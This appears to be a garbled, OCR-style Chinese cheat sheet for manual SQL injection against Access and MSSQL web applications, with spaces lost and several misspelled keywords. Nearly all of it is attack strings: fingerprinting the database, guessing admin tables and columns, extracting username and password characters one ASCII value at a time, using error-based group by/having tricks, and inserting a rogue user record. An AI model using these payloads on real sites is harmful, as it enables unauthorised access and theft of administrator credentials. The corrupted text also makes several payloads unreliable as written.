2、关键字%'and1=2and'%'='%2、IIS报错情况下使用:anduser>0(判断是ACCESS还是MSSQL)]3、不报错则使用各自数据库特性来判断and(selectcount(*)frommsysobjects)>0(返冋权限不足access数据库)and(selectcount(*)fromsysobjects)>0(返1叫正常则为MSSQL数据库)anddbname()>0(返回数据库名)and0<>(select@@version)--(判断版本信息)anddbname()>0(返冋数据库名)************注
3、意:猜解之前先要找到后台地址,不然白忙了**********4、ACCESS注入:(1)猜解表名(正常则存在admin,不正常则不存在)andexists(seiect*from[admin])and(SelectCount(*)fromAdmin)>0(2)猜解字段:(字段username存在则正常,不正常则不存在)and(SelectusernamefromAdmin)>0andexists(selectusernamefrom[admin])(3)猜解用户名和密码长度and(selecttop1Ion(username)fromAd
4、min)>0and(selecttop1len(password)fromAdmin)>05、原理:如果top1的username长度大于0,则条件成立;接着就是>1、>2>>3这样测试下去为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,JT截取第N位字符,再asc(mid(username,N,1))得到ASCII码.6、猜解用户and(selecttop1asc(mid(username,1,1))fromAdmin)>0,1,2---,当输入到109时,显示错误,而
5、108Z前显示正确,说明第一个字符的ASCII码为109,得到第同理and(selecttop1asc(mid(username,2,1)fromAdmin)>0,1,2••-到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。注意的是英文和数字的ASCTT码在1-128之间…7、MSSQL注入:having1=1—【爆出一个表名及字段,如:列’users.ID'在选择列表中无效】groupbyusers・IDhaving1=1--groupbyusers.ID,users.username,users.passwor
6、d,users・privshaving1=1一一insortintousersvalues(666,attacker,foobar,Oxffff)--【插入新记录】8、猜解表名:SQLSERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建F默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名者我们常用到的参数有三个,name(数据表的名字),xtype(数据表的类型u为用户表),id(?and(selecttop1namefromsysobjectswhere
7、xtype=,u)>0(得到第一个表名:比如user)and(selecttop1namefromsysobjectswherextype二'u'andnamenotin(Juser,))>0得至I」以此类推。9、猜解列名:用到系统自带的2个函数colname()和objectid(),colname()的格式是“C0L_NAME(tableidtableid是表的标识号,columnid是列的标识号,objectid(admin)就是得到admin在sysobjeccolumn_id=l,2,3表明admin的第1,2,3列。and(s
8、electtop1col_name(objcct_id(,admin,),1)fromsysobjects)>0【得到admin字段的第-依次类推,得到“password"“id”等等】10、